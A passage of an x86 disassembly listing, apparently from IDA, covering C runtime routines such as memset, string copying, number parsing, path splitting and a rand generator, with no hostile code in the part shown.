dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_41F49D test eax, eax jnz short loc_41B4AC retn ; --------------------------------------------------------------------------- loc_41B4AC: ; CODE XREF: sub_41B4A2+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41F32D add esp, 10h retn sub_41B4A2 endp ; =============== S U B R O U T I N E ======================================= sub_41B4C2 proc near ; CODE XREF: sub_4010AB+18p ; sub_401ACD+58AEp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_41B4A2 add esp, 0Ch retn sub_41B4C2 endp ; =============== S U B R O U T I N E ======================================= sub_41B4D5 proc near ; CODE XREF: sub_4010AB+6p ; sub_40AB31+63p ... arg_0 = dword ptr 4 push dword_4DB2FC push [esp+4+arg_0] call sub_41B4E7 pop ecx pop ecx retn sub_41B4D5 endp ; =============== S U B R O U T I N E ======================================= sub_41B4E7 proc near ; CODE XREF: sub_41B4D5+Ap ; sub_41CFC5+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_41B510 loc_41B4EE: ; CODE XREF: sub_41B4E7+27j push [esp+arg_0] call sub_41B513 test eax, eax pop ecx jnz short locret_41B512 cmp [esp+arg_4], eax jz short locret_41B512 push [esp+arg_0] call sub_41F312 test eax, eax pop ecx jnz short loc_41B4EE loc_41B510: ; CODE XREF: sub_41B4E7+5j xor eax, eax locret_41B512: ; CODE XREF: sub_41B4E7+13j ; sub_41B4E7+19j retn sub_41B4E7 endp ; =============== S U B R O U T I N E ======================================= sub_41B513 proc near ; CODE XREF: sub_41B4E7+Bp arg_0 = dword ptr 4 mov eax, dword_4DC908 push esi mov esi, [esp+4+arg_0] cmp eax, 3 jnz short loc_41B537 cmp esi, dword_4DC900 ja short loc_41B569 push esi call sub_41E1CB test eax, eax pop ecx jz short loc_41B569 pop esi retn ; --------------------------------------------------------------------------- loc_41B537: ; CODE XREF: sub_41B513+Dj cmp eax, 2 jnz short loc_41B569 mov eax, [esp+4+arg_0] test eax, eax jz short loc_41B54C lea esi, [eax+0Fh] and esi, 0FFFFFFF0h jmp short loc_41B54F ; --------------------------------------------------------------------------- loc_41B54C: ; CODE XREF: sub_41B513+2Fj push 10h pop esi loc_41B54F: ; CODE XREF: sub_41B513+37j cmp esi, dword_43C2F4 ja short loc_41B576 mov eax, esi shr eax, 4 push eax call sub_41EC6E test eax, eax pop ecx jnz short loc_41B585 jmp short loc_41B576 ; --------------------------------------------------------------------------- loc_41B569: ; CODE XREF: sub_41B513+15j ; sub_41B513+20j ... test esi, esi jnz short loc_41B570 push 1 pop esi loc_41B570: ; CODE XREF: sub_41B513+58j add esi, 0Fh and esi, 0FFFFFFF0h loc_41B576: ; CODE XREF: sub_41B513+42j ; sub_41B513+54j push esi push 0 push dword_4DC904 nop call near ptr 27A0000h loc_41B585: ; CODE XREF: sub_41B513+52j pop esi retn sub_41B513 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B590 proc near ; CODE XREF: sub_40111D+3Cp ; sub_40111D+4Ap ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_41B5E3 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_41B5D7 neg ecx and ecx, 3 jz short loc_41B5B9 sub edx, ecx loc_41B5B3: ; CODE XREF: sub_41B590+27j mov [edi], al inc edi dec ecx jnz short loc_41B5B3 loc_41B5B9: ; CODE XREF: sub_41B590+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_41B5D7 rep stosd test edx, edx jz short loc_41B5DD loc_41B5D7: ; CODE XREF: sub_41B590+18j ; sub_41B590+3Fj ... mov [edi], al inc edi dec edx jnz short loc_41B5D7 loc_41B5DD: ; CODE XREF: sub_41B590+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41B5E3: ; CODE XREF: sub_41B590+Aj mov eax, [esp+arg_0] retn sub_41B590 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B5F0 proc near ; CODE XREF: ___:004016C0p ; ___:004016DCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_41B673 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_41B614 shr ecx, 2 jnz short loc_41B681 jmp short loc_41B635 ; --------------------------------------------------------------------------- loc_41B614: ; CODE XREF: sub_41B5F0+1Bj ; sub_41B5F0+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_41B642 test al, al jz short loc_41B64A test esi, 3 jnz short loc_41B614 mov ebx, ecx shr ecx, 2 jnz short loc_41B681 loc_41B630: ; CODE XREF: sub_41B5F0+8Fj and ebx, 3 jz short loc_41B642 loc_41B635: ; CODE XREF: sub_41B5F0+22j ; sub_41B5F0+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_41B66E dec ebx jnz short loc_41B635 loc_41B642: ; CODE XREF: sub_41B5F0+2Bj ; sub_41B5F0+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41B64A: ; CODE XREF: sub_41B5F0+2Fj test edi, 3 jz short loc_41B664 loc_41B652: ; CODE XREF: sub_41B5F0+72j mov [edi], al inc edi dec ecx jz loc_41B6E6 test edi, 3 jnz short loc_41B652 loc_41B664: ; CODE XREF: sub_41B5F0+60j mov ebx, ecx shr ecx, 2 jnz short loc_41B6D7 loc_41B66B: ; CODE XREF: sub_41B5F0+7Fj ; sub_41B5F0+F4j mov [edi], al inc edi loc_41B66E: ; CODE XREF: sub_41B5F0+4Dj dec ebx jnz short loc_41B66B pop ebx pop esi loc_41B673: ; CODE XREF: sub_41B5F0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41B679: ; CODE XREF: sub_41B5F0+A9j ; sub_41B5F0+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_41B630 loc_41B681: ; CODE XREF: sub_41B5F0+20j ; sub_41B5F0+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41B679 test dl, dl jz short loc_41B6CB test dh, dh jz short loc_41B6C1 test edx, 0FF0000h jz short loc_41B6B7 test edx, 0FF000000h jnz short loc_41B679 mov [edi], edx jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6B7: ; CODE XREF: sub_41B5F0+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6C1: ; CODE XREF: sub_41B5F0+B1j and edx, 0FFh mov [edi], edx jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6CB: ; CODE XREF: sub_41B5F0+ADj xor edx, edx mov [edi], edx loc_41B6CF: ; CODE XREF: sub_41B5F0+C5j ; sub_41B5F0+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_41B6E1 loc_41B6D7: ; CODE XREF: sub_41B5F0+79j xor eax, eax loc_41B6D9: ; CODE XREF: sub_41B5F0+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_41B6D9 loc_41B6E1: ; CODE XREF: sub_41B5F0+E5j and ebx, 3 jnz short loc_41B66B loc_41B6E6: ; CODE XREF: sub_41B5F0+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41B5F0 endp ; =============== S U B R O U T I N E ======================================= sub_41B6EE proc near ; CODE XREF: sub_41B779+4p ; sub_4247EC+1A2p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_41B6F6: ; CODE XREF: sub_41B6EE+34j cmp dword_43C504, 1 jle short loc_41B70E movzx eax, byte ptr [edi] push 8 push eax call sub_41F515 pop ecx pop ecx jmp short loc_41B71D ; --------------------------------------------------------------------------- loc_41B70E: ; CODE XREF: sub_41B6EE+Fj movzx eax, byte ptr [edi] mov ecx, off_43C2F8 mov al, [ecx+eax*2] and eax, 8 loc_41B71D: ; CODE XREF: sub_41B6EE+1Ej test eax, eax jz short loc_41B724 inc edi jmp short loc_41B6F6 ; --------------------------------------------------------------------------- loc_41B724: ; CODE XREF: sub_41B6EE+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_41B734 cmp esi, 2Bh jnz short loc_41B738 loc_41B734: ; CODE XREF: sub_41B6EE+3Fj movzx esi, byte ptr [edi] inc edi loc_41B738: ; CODE XREF: sub_41B6EE+44j xor ebx, ebx loc_41B73A: ; CODE XREF: sub_41B6EE+7Bj cmp dword_43C504, 1 jle short loc_41B74F push 4 push esi call sub_41F515 pop ecx pop ecx jmp short loc_41B75A ; --------------------------------------------------------------------------- loc_41B74F: ; CODE XREF: sub_41B6EE+53j mov eax, off_43C2F8 mov al, [eax+esi*2] and eax, 4 loc_41B75A: ; CODE XREF: sub_41B6EE+5Fj test eax, eax jz short loc_41B76B lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_41B73A ; --------------------------------------------------------------------------- loc_41B76B: ; CODE XREF: sub_41B6EE+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_41B774 neg eax loc_41B774: ; CODE XREF: sub_41B6EE+82j pop edi pop esi pop ebp pop ebx retn sub_41B6EE endp ; =============== S U B R O U T I N E ======================================= sub_41B779 proc near ; CODE XREF: ___:00401527p ; sub_401ACD+733p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41B6EE pop ecx retn sub_41B779 endp ; --------------------------------------------------------------------------- mov eax, off_43A29C test eax, eax jz short loc_41B78F call eax ; sub_41C748 loc_41B78F: ; CODE XREF: ___:0041B78Bj push offset dword_42902C push offset dword_429018 call sub_41B86C push offset dword_429014 push offset dword_429000 call sub_41B86C add esp, 10h retn ; --------------------------------------------------------------------------- push 0 push 0 push dword ptr [esp+0Ch] call sub_41B7D3 add esp, 0Ch retn ; =============== S U B R O U T I N E ======================================= sub_41B7C2 proc near ; CODE XREF: sub_41DA29+1Cp ; sub_42255C+2276p ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_41B7D3 add esp, 0Ch retn sub_41B7C2 endp ; =============== S U B R O U T I N E ======================================= sub_41B7D3 proc near ; CODE XREF: ___:0041B7B9p ; sub_41B7C2+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp dword_4DB2C0, edi jnz short loc_41B7F0 push [esp+4+arg_0] nop call near ptr 2700603h push eax nop call near ptr 26F0B51h loc_41B7F0: ; CODE XREF: sub_41B7D3+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_4DB2BC, edi mov byte_4DB2B8, bl jnz short loc_41B844 mov eax, dword_4DC91C test eax, eax jz short loc_41B833 mov ecx, dword_4DC918 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_41B832 loc_41B81F: ; CODE XREF: sub_41B7D3+5Dj mov eax, [esi] test eax, eax jz short loc_41B827 call eax loc_41B827: ; CODE XREF: sub_41B7D3+50j sub esi, 4 cmp esi, dword_4DC91C jnb short loc_41B81F loc_41B832: ; CODE XREF: sub_41B7D3+4Aj pop esi loc_41B833: ; CODE XREF: sub_41B7D3+3Cj push offset dword_429038 push offset dword_429030 call sub_41B86C pop ecx pop ecx loc_41B844: ; CODE XREF: sub_41B7D3+33j push offset dword_429044 push offset dword_42903C call sub_41B86C pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_41B86A push [esp+4+arg_0] mov dword_4DB2C0, edi call near ptr 77E75CB5h nop loc_41B86A: ; CODE XREF: sub_41B7D3+85j pop edi retn sub_41B7D3 endp ; =============== S U B R O U T I N E ======================================= sub_41B86C proc near ; CODE XREF: ___:0041B799p ; ___:0041B7A8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_41B871: ; CODE XREF: sub_41B86C+16j cmp esi, [esp+4+arg_4] jnb short loc_41B884 mov eax, [esi] test eax, eax jz short loc_41B87F call eax loc_41B87F: ; CODE XREF: sub_41B86C+Fj add esi, 4 jmp short loc_41B871 ; --------------------------------------------------------------------------- loc_41B884: ; CODE XREF: sub_41B86C+9j pop esi retn sub_41B86C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B886 proc near ; CODE XREF: ___:004013B0p ; ___:004014B6p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_41F69F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41B8C6 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41B8D3 ; --------------------------------------------------------------------------- loc_41B8C6: ; CODE XREF: sub_41B886+36j lea eax, [ebp+var_20] push eax push 0 call sub_41F58A pop ecx pop ecx loc_41B8D3: ; CODE XREF: sub_41B886+3Ej mov eax, esi pop esi leave retn sub_41B886 endp ; =============== S U B R O U T I N E ======================================= sub_41B8D8 proc near ; CODE XREF: ___:00401266p ; sub_401ACD+31A2p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_43A280, eax retn sub_41B8D8 endp ; =============== S U B R O U T I N E ======================================= sub_41B8E2 proc near ; CODE XREF: ___:loc_401379p ; ___:loc_4016A7p ... mov eax, dword_43A280 imul eax, 343FDh add eax, 269EC3h mov dword_43A280, eax sar eax, 10h and eax, 7FFFh retn sub_41B8E2 endp ; =============== S U B R O U T I N E ======================================= sub_41B900 proc near ; CODE XREF: ___:0040134Ep ; sub_401ACD+8Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_41B97A mov dh, [ecx+1] test dh, dh jz short loc_41B967 loc_41B918: ; CODE XREF: sub_41B900+52j ; sub_41B900+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_41B93A test al, al jz short loc_41B934 loc_41B929: ; CODE XREF: sub_41B900+32j mov al, [esi] inc esi loc_41B92C: ; CODE XREF: sub_41B900+3Fj cmp al, dl jz short loc_41B93A test al, al jnz short loc_41B929 loc_41B934: ; CODE XREF: sub_41B900+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_41B93A: ; CODE XREF: sub_41B900+23j ; sub_41B900+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_41B92C lea edi, [esi-1] loc_41B944: ; CODE XREF: sub_41B900+63j mov ah, [ecx+2] test ah, ah jz short loc_41B973 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_41B918 mov al, [ecx+3] test al, al jz short loc_41B973 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_41B944 jmp short loc_41B918 ; --------------------------------------------------------------------------- loc_41B967: ; CODE XREF: sub_41B900+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_41BFB6 ; --------------------------------------------------------------------------- loc_41B973: ; CODE XREF: sub_41B900+49j ; sub_41B900+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_41B97A: ; CODE XREF: sub_41B900+Fj mov eax, edi pop esi pop ebx pop edi retn sub_41B900 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B980 proc near ; CODE XREF: ___:0040133Bp ; sub_401ACD+1C72p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_41F69F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41B9BF mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41B9CC ; --------------------------------------------------------------------------- loc_41B9BF: ; CODE XREF: sub_41B980+35j lea eax, [ebp+var_20] push eax push 0 call sub_41F58A pop ecx pop ecx loc_41B9CC: ; CODE XREF: sub_41B980+3Dj mov eax, esi pop esi leave retn sub_41B980 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B9D1 proc near ; CODE XREF: ___:00401318p ; sub_401ACD+21D1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_41AFE0 cmp eax, 1 pop ecx jb short loc_41BA0C cmp byte ptr [ebx+1], 3Ah jnz short loc_41BA0C mov esi, [ebp+arg_4] test esi, esi jz short loc_41BA08 push 2 push ebx push esi call sub_420289 add esp, 0Ch and byte ptr [esi+2], 0 loc_41BA08: ; CODE XREF: sub_41B9D1+25j inc ebx inc ebx jmp short loc_41BA16 ; --------------------------------------------------------------------------- loc_41BA0C: ; CODE XREF: sub_41B9D1+18j ; sub_41B9D1+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_41BA16 and byte ptr [eax], 0 loc_41BA16: ; CODE XREF: sub_41B9D1+39j ; sub_41B9D1+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_41BA8E loc_41BA29: ; CODE XREF: sub_41B9D1+87j mov cl, [eax] movzx edx, cl test byte_4DC7E1[edx], 4 jz short loc_41BA3A inc eax jmp short loc_41BA54 ; --------------------------------------------------------------------------- loc_41BA3A: ; CODE XREF: sub_41B9D1+64j cmp cl, 2Fh jz short loc_41BA4E cmp cl, 5Ch jz short loc_41BA4E cmp cl, 2Eh jnz short loc_41BA54 mov [ebp+var_4], eax jmp short loc_41BA54 ; --------------------------------------------------------------------------- loc_41BA4E: ; CODE XREF: sub_41B9D1+6Cj ; sub_41B9D1+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_41BA54: ; CODE XREF: sub_41B9D1+67j ; sub_41B9D1+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_41BA29 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_41BA8E cmp [ebp+arg_8], 0 jz short loc_41BA89 sub edi, ebx cmp edi, esi jb short loc_41BA72 mov edi, esi loc_41BA72: ; CODE XREF: sub_41B9D1+9Dj push edi push ebx push [ebp+arg_8] call sub_420289 mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41BA89: ; CODE XREF: sub_41B9D1+97j mov ebx, [ebp+arg_4] jmp short loc_41BA98 ; --------------------------------------------------------------------------- loc_41BA8E: ; CODE XREF: sub_41B9D1+56j ; sub_41B9D1+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_41BA98 and byte ptr [ecx], 0 loc_41BA98: ; CODE XREF: sub_41B9D1+BBj ; sub_41B9D1+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_41BAEB cmp edi, ebx jb short loc_41BAEB cmp [ebp+arg_C], 0 jz short loc_41BAC8 sub edi, ebx cmp edi, esi jb short loc_41BAB1 mov edi, esi loc_41BAB1: ; CODE XREF: sub_41B9D1+DCj push edi push ebx push [ebp+arg_C] call sub_420289 mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41BAC8: ; CODE XREF: sub_41B9D1+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_41BB13 sub eax, [ebp+var_4] cmp eax, esi jnb short loc_41BAD8 mov esi, eax loc_41BAD8: ; CODE XREF: sub_41B9D1+103j push esi push [ebp+var_4] push edi call sub_420289 add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_41BB13 ; --------------------------------------------------------------------------- loc_41BAEB: ; CODE XREF: sub_41B9D1+CCj ; sub_41B9D1+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_41BB09 sub eax, ebx cmp eax, esi jnb short loc_41BAFA mov esi, eax loc_41BAFA: ; CODE XREF: sub_41B9D1+125j push esi push ebx push edi call sub_420289 add esp, 0Ch and byte ptr [esi+edi], 0 loc_41BB09: ; CODE XREF: sub_41B9D1+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_41BB13 and byte ptr [eax], 0 loc_41BB13: ; CODE XREF: sub_41B9D1+FCj ; sub_41B9D1+118j ... pop edi pop esi pop ebx leave retn sub_41B9D1 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BB20 proc near ; CODE XREF: sub_401955+8p ; sub_401ACD+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_41BB40 loc_41BB2C: ; CODE XREF: sub_41BB20+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_41BB2C loc_41BB40: ; CODE XREF: sub_41BB20+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_41BB20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BB4F proc near ; CODE XREF: sub_401ACD+757Ep ; sub_401ACD+75ADp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_41BB63 xor eax, eax jmp short loc_41BB99 ; --------------------------------------------------------------------------- loc_41BB63: ; CODE XREF: sub_41BB4F+Ej dec [ebp+arg_4] push esi jz short loc_41BB93 mov esi, [ebp+arg_8] loc_41BB6C: ; CODE XREF: sub_41BB4F+42j dec dword ptr [esi+4] js short loc_41BB7B mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_41BB82 ; --------------------------------------------------------------------------- loc_41BB7B: ; CODE XREF: sub_41BB4F+20j push esi call sub_41F043 pop ecx loc_41BB82: ; CODE XREF: sub_41BB4F+2Aj cmp eax, 0FFFFFFFFh jz short loc_41BB9D mov [edi], al inc edi cmp al, 0Ah jz short loc_41BB93 dec [ebp+arg_4] jnz short loc_41BB6C loc_41BB93: ; CODE XREF: sub_41BB4F+18j ; sub_41BB4F+3Dj ... and byte ptr [edi], 0 loc_41BB96: ; CODE XREF: sub_41BB4F+55j mov eax, ebx pop esi loc_41BB99: ; CODE XREF: sub_41BB4F+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41BB9D: ; CODE XREF: sub_41BB4F+36j cmp edi, [ebp+arg_0] jnz short loc_41BB93 xor ebx, ebx jmp short loc_41BB96 sub_41BB4F endp ; =============== S U B R O U T I N E ======================================= sub_41BBA6 proc near ; CODE XREF: ___:0041DDA5p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41BBBD add esp, 10h retn sub_41BBA6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BBBD proc near ; CODE XREF: sub_41BBA6+Ep ; sub_41BDC5+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_41BBD5: ; CODE XREF: sub_41BBBD+46j cmp dword_43C504, 1 jle short loc_41BBED movzx eax, bl push 8 push eax call sub_41F515 pop ecx pop ecx jmp short loc_41BBFC ; --------------------------------------------------------------------------- loc_41BBED: ; CODE XREF: sub_41BBBD+1Fj mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_41BBFC: ; CODE XREF: sub_41BBBD+2Ej test eax, eax jz short loc_41BC05 mov bl, [esi] inc esi jmp short loc_41BBD5 ; --------------------------------------------------------------------------- loc_41BC05: ; CODE XREF: sub_41BBBD+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_41BC13 or [ebp+arg_C], 2 jmp short loc_41BC18 ; --------------------------------------------------------------------------- loc_41BC13: ; CODE XREF: sub_41BBBD+4Ej cmp bl, 2Bh jnz short loc_41BC1E loc_41BC18: ; CODE XREF: sub_41BBBD+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_41BC1E: ; CODE XREF: sub_41BBBD+59j mov eax, [ebp+arg_8] test eax, eax jl loc_41BDB5 cmp eax, 1 jz loc_41BDB5 cmp eax, 24h jg loc_41BDB5 push 10h test eax, eax pop ecx jnz short loc_41BC66 cmp bl, 30h jz short loc_41BC50 mov [ebp+arg_8], 0Ah jmp short loc_41BC82 ; --------------------------------------------------------------------------- loc_41BC50: ; CODE XREF: sub_41BBBD+88j mov al, [esi] cmp al, 78h jz short loc_41BC63 cmp al, 58h jz short loc_41BC63 mov [ebp+arg_8], 8 jmp short loc_41BC82 ; --------------------------------------------------------------------------- loc_41BC63: ; CODE XREF: sub_41BBBD+97j ; sub_41BBBD+9Bj mov [ebp+arg_8], ecx loc_41BC66: ; CODE XREF: sub_41BBBD+83j cmp [ebp+arg_8], ecx jnz short loc_41BC82 cmp bl, 30h jnz short loc_41BC82 mov al, [esi] cmp al, 78h jz short loc_41BC7A cmp al, 58h jnz short loc_41BC82 loc_41BC7A: ; CODE XREF: sub_41BBBD+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_41BC82: ; CODE XREF: sub_41BBBD+91j ; sub_41BBBD+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_41BC92: ; CODE XREF: sub_41BBBD+16Cj cmp dword_43C504, 1 movzx esi, bl jle short loc_41BCAA push 4 push esi call sub_41F515 pop ecx pop ecx jmp short loc_41BCB5 ; --------------------------------------------------------------------------- loc_41BCAA: ; CODE XREF: sub_41BBBD+DFj mov eax, off_43C2F8 mov al, [eax+esi*2] and eax, 4 loc_41BCB5: ; CODE XREF: sub_41BBBD+EBj test eax, eax jz short loc_41BCC1 movsx ecx, bl sub ecx, 30h jmp short loc_41BCF3 ; --------------------------------------------------------------------------- loc_41BCC1: ; CODE XREF: sub_41BBBD+FAj cmp dword_43C504, 1 jle short loc_41BCD5 push edi push esi call sub_41F515 pop ecx pop ecx jmp short loc_41BCE0 ; --------------------------------------------------------------------------- loc_41BCD5: ; CODE XREF: sub_41BBBD+10Bj mov eax, off_43C2F8 mov ax, [eax+esi*2] and eax, edi loc_41BCE0: ; CODE XREF: sub_41BBBD+116j test eax, eax jz short loc_41BD2E movsx eax, bl push eax call sub_420313 pop ecx mov ecx, eax sub ecx, 37h loc_41BCF3: ; CODE XREF: sub_41BBBD+102j cmp ecx, [ebp+arg_8] jnb short loc_41BD2E mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_41BD18 jnz short loc_41BD12 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_41BD18 loc_41BD12: ; CODE XREF: sub_41BBBD+147j or [ebp+arg_C], 4 jmp short loc_41BD21 ; --------------------------------------------------------------------------- loc_41BD18: ; CODE XREF: sub_41BBBD+145j ; sub_41BBBD+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_41BD21: ; CODE XREF: sub_41BBBD+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_41BC92 ; --------------------------------------------------------------------------- loc_41BD2E: ; CODE XREF: sub_41BBBD+125j ; sub_41BBBD+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_41BD4C test edx, edx jz short loc_41BD46 mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_41BD46: ; CODE XREF: sub_41BBBD+181j and [ebp+var_8], 0 jmp short loc_41BD99 ; --------------------------------------------------------------------------- loc_41BD4C: ; CODE XREF: sub_41BBBD+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_41BD72 test cl, 1 jnz short loc_41BD99 and ecx, 2 jz short loc_41BD69 cmp [ebp+var_8], 80000000h ja short loc_41BD72 loc_41BD69: ; CODE XREF: sub_41BBBD+1A1j test ecx, ecx jnz short 